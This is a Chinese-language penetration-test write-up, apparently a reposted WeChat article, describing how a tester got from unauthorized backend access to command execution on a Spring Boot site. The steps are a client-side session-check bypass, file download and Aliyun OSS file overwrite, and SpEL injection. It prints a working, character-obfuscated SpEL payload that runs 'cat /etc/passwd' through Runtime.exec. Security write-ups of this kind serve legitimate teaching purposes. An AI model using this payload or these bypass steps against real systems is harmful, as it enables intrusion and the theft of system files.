不一样的未授权访问到命令执行
2021-7-20 14:23:19 Author: mp.weixin.qq.com(查看原文) 阅读量:11 收藏

一、概述

一次不一样的未授权访问到命令执行的案例。

二、正文

1、未授权进后台

访问后台:http://xxx.xxx.com/index.html,显示页面后瞬间返回登录页面, 抓包看到有个 /user/getSession 返回null

搜索getSession找到js,如果为null就跳到登录页面

将/user/getSession返回包null改成任意其他字符即可 然后就进后台了。

就这?

2、尝试任意文件上传

进后台后看看有什么功能,除了这两个查询就上传下载了,先试试任意文件上传上传个图片试试,直接500

换了几个文件发现不是文件类型的问题,试着在date处加个值果然是这里的问题,但是没有返回上传的文件路径啊

去下载处一直查询为空,置空查询也没有

看看js找找下载地址

试着拼接路径下载刚才上传的图片

/file/download/1/n_v2df5fc346207846b8913f719db19338fe.gif?sendType

上传jsp不解析,直接下载下来了。

3、利用阿里云OSS上传与下载

改个不存在的路径看看,发现指向了私有阿里云oss

联想到[1、未授权进后台]章节里面图三里面的信息,将文件日期、文件名称代入试试,好家伙,3个G直接502;换小点的文件倒是可以直接下载下来。

此处用了阿里云的OSS,存在任意文件覆盖的漏洞。

备注:在OSS中进行文件上传时,若文件名已经存在,则会直接进行文件替换。

4、利用spEL注入执行系统命令

Whitelabel Error Page和小绿叶的icon很明显用的SpringBoot;由于在页面中回显了查询值,于是推测可能存在表达式注入,尝试Payload${9999*9999},成功执行,存在spEL注入

直接cat passwd

/file/download/1/$%7BT(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())%7D?sendType

三、总结

1、通过绕过客户端校验成功登录后台;

2、尝试任意文件上传,并通过JS源代码构造访问路径,失败告终;

3、通过构造访问路径下载任意数据文件,利用阿里云OSS特性覆盖任意文件;

4、利用SpringBoot spEL注入执行系统命令。

微信扫描二维码,关注我的公众号


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg4ODU4ODYzOQ==&mid=2247484155&idx=1&sn=363e53a0eeb469a504922daf5af0d5f5&chksm=cff992cbf88e1bddcc978ac539cd2fe2471bd713e5750381fa53589c205705f7c4ff66dd917f&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh